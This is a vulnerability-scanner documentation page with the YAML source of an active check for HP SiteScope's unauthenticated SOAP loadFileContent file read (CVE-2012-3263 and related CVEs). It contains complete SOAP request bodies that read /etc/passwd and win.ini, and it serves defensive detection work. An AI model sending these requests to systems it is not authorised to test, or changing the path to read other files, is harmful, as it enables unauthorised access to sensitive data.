HP SiteScope — 1 vulnerability check

noctis ships 1 vulnerability check for HP SiteScope, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

HP SiteScope SOAP loadFileContent Unauthenticated File Read

CVECVE-2012-3259, CVE-2012-3260, CVE-2012-3261, CVE-2012-3262, CVE-2012-3263, CVE-2012-3264
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Serviceshttp, https, http-proxy
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/hp-sitescope/sitescope-soap-loadfilecontent-file-read.yaml

HP SiteScope 11.10 to 11.12 accepts calls to its Apache Axis SOAP services without authentication. The loadFileContent operation of the APIMonitorImpl service returns the content of any file named by the caller. This check POSTs a loadFileContent SOAP call for /etc/passwd (then c:\windows\win.ini) to /SiteScope/services/APIMonitorImpl and to /services/APIMonitorImpl, and reports the host when the root account entry (or the win.ini section headers) comes back inside the loadFileContentReturn element. The request only reads a file; nothing is written on the target.

How noctis detects it

  1. HTTP(S) request POST {{sitescope_dir}}/services/APIMonitorImpl with a crafted body
  2. Checks passwd_resp.body for (?s)<loadFileContentReturn[^>]*>[^<]*root:[^:\n]*:0:[01]: → finding QoD 75: Unauthenticated SOAP call loadFileContent(/etc/passwd) on …/services/APIMonitorImpl returned the root account entry inside loadFileContentR…
  3. HTTP(S) request POST {{sitescope_dir}}/services/APIMonitorImpl with a crafted body
  4. Checks winini_resp.body for (?s)<loadFileContentReturn[^>]*>[^<]*\[(fonts|extensions|mci extensio… → finding QoD 75: Unauthenticated SOAP call loadFileContent(c:\windows\win.ini) on …/services/APIMonitorImpl returned the win.ini section headers inside load…

References:

Feed source — tests/vulnerabilities/hp-sitescope/sitescope-soap-loadfilecontent-file-read.yaml
# HP SiteScope 11.10-11.12 — unauthenticated SOAP API, loadFileContent arbitrary
# file read (ZDI-12-177 / ZDI-CAN-1465 = CVE-2012-3263, BID 55269).
# Active check ported from OpenVAS/Greenbone NASL 2012/gb_sitescope_55269.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103560, GPL-2.0-only), cross-checked with Metasploit
# auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.
#
# SiteScope exposes Apache Axis SOAP services under /SiteScope/services/. In
# 11.10-11.12 they accept calls without authentication; the
# APIMonitorImpl.loadFileContent(in0) operation returns the content of any
# local file named in in0, in <loadFileContentReturn>. HP fixed the six
# BID 55269 SOAP bugs (CVE-2012-3259 to CVE-2012-3264, ZDI-12-173..177/181)
# together (SOAP calls require authentication); the feed tracks all six, the
# finding names only CVE-2012-3263 (ZDI-CAN-1465), the one it proves.
#
# Detection, per base path (/SiteScope, then the web root), stopping at the
# first finding:
#   1. load-passwd (QoD 75): the NASL's exact SOAP envelope with in0=/etc/passwd;
#      the root entry inside <loadFileContentReturn> proves the unauthenticated
#      call read a local file. Read-only.
#   2. load-winini (QoD 75): same with c:\windows\win.ini (SiteScope on Windows).
#
# Beyond the NASL (fewer false negatives):
#   - The NASL sends traversal_files() names, which are relative
#     ("etc/passwd", "windows/win.ini"); loadFileContent resolves them against
#     SiteScope's working directory, so the read fails on a real install. This
#     feed sends absolute paths (/etc/passwd, c:\windows\win.ini — the latter
#     is Metasploit's default and is tested there on SiteScope 11.20 Windows).
#   - The NASL only runs where its product detection found SiteScope; this
#     feed probes /SiteScope (the default context) and the web root directly.
#   - The file markers must sit inside <loadFileContentReturn>, so a page that
#     echoes the request (which only carries the file *name*) cannot match.
uid: 6b09aa0a-7dfe-49ed-b997-e566133683b5
name: "HP SiteScope SOAP loadFileContent Unauthenticated File Read (CVE-2012-3263)"
description: |
  HP SiteScope 11.10 to 11.12 accepts calls to its Apache Axis SOAP services without
  authentication. The loadFileContent operation of the APIMonitorImpl service returns
  the content of any file named by the caller. This check POSTs a loadFileContent SOAP
  call for /etc/passwd (then c:\windows\win.ini) to /SiteScope/services/APIMonitorImpl
  and to /services/APIMonitorImpl, and reports the host when the root account entry
  (or the win.ini section headers) comes back inside the loadFileContentReturn element.
  The request only reads a file; nothing is written on the target.
cves:
  - CVE-2012-3259
  - CVE-2012-3260
  - CVE-2012-3261
  - CVE-2012-3262
  - CVE-2012-3263
  - CVE-2012-3264
cvss: 10.0
severity: critical
confidence_base: 0.30
category: file-read
tags:
  - hp
  - sitescope
  - soap
  - axis
  - auth-bypass
  - file-read
services:
  - http
  - https
  - http-proxy
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-3263"
  - "https://www.zerodayinitiative.com/advisories/ZDI-12-177/"
  - "https://www.securityfocus.com/bid/55269"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb"
  - "OpenVAS/Greenbone NASL 2012/gb_sitescope_55269.nasl (GPL-2.0-only)"

steps:
  # Every step from here to `report-winini` runs once per base path (loop
  # group). The stored results are pre-initialised so a failed request (reset,
  # timeout) leaves an empty body instead of an unset variable.
  - id: init-passwd-resp
    action: set_var
    var_name: passwd_resp
    var_value: {status: 0, body: ""}
    loop:
      over:
        - "/SiteScope"
        - ""
      var: sitescope_dir

  - id: init-winini-resp
    action: set_var
    var_name: winini_resp
    var_value: {status: 0, body: ""}

  # ── 1. loadFileContent(/etc/passwd) ───────────────────────────────────────
  - id: load-passwd
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{sitescope_dir}}/services/APIMonitorImpl"
    headers:
      SOAPAction: '""'
      Content-Type: "text/xml; charset=UTF-8"
    body: "<?xml version='1.0' encoding='UTF-8'?>\r\n<wsns0:Envelope\r\nxmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'\r\nxmlns:xsd='http://www.w3.org/2001/XMLSchema'\r\nxmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\r\n>\r\n<wsns0:Body\r\nwsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'\r\n>\r\n<impl:loadFileContent\r\nxmlns:impl='http://Api.freshtech.COM'\r\n>\r\n<in0\r\nxsi:type='xsd:string'\r\nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\r\n>/etc/passwd</in0>\r\n</impl:loadFileContent>\r\n</wsns0:Body>\r\n</wsns0:Envelope>\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_resp

  - id: report-passwd
    action: match
    source: passwd_resp.body
    pattern: "(?s)<loadFileContentReturn[^>]*>[^<]*root:[^:\\n]*:0:[01]:"
    on_match:
      finding:
        cves: [CVE-2012-3263]
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated SOAP call loadFileContent(/etc/passwd) on {{sitescope_dir}}/services/APIMonitorImpl returned the root account entry inside loadFileContentReturn (HP SiteScope file read, CVE-2012-3263)."
      stop: true

  # ── 2. loadFileContent(c:\windows\win.ini) — SiteScope on Windows ────────
  # Skipped when the service path does not exist (404), so a plain web server
  # gets 2 requests, not 4. A failed request keeps the pre-initialised status 0
  # and still goes on.
  - id: load-winini
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{sitescope_dir}}/services/APIMonitorImpl"
    condition: "passwd_resp.status != 404"
    headers:
      SOAPAction: '""'
      Content-Type: "text/xml; charset=UTF-8"
    body: "<?xml version='1.0' encoding='UTF-8'?>\r\n<wsns0:Envelope\r\nxmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'\r\nxmlns:xsd='http://www.w3.org/2001/XMLSchema'\r\nxmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'\r\n>\r\n<wsns0:Body\r\nwsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'\r\n>\r\n<impl:loadFileContent\r\nxmlns:impl='http://Api.freshtech.COM'\r\n>\r\n<in0\r\nxsi:type='xsd:string'\r\nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'\r\n>c:\\windows\\win.ini</in0>\r\n</impl:loadFileContent>\r\n</wsns0:Body>\r\n</wsns0:Envelope>\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: winini_resp

  - id: report-winini
    action: match
    source: winini_resp.body
    pattern: "(?s)<loadFileContentReturn[^>]*>[^<]*\\[(fonts|extensions|mci extensions|files|Mail)\\]"
    on_match:
      finding:
        cves: [CVE-2012-3263]
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated SOAP call loadFileContent(c:\\windows\\win.ini) on {{sitescope_dir}}/services/APIMonitorImpl returned the win.ini section headers inside loadFileContentReturn (HP SiteScope file read, CVE-2012-3263)."
      stop: true

View these feeds on GitHub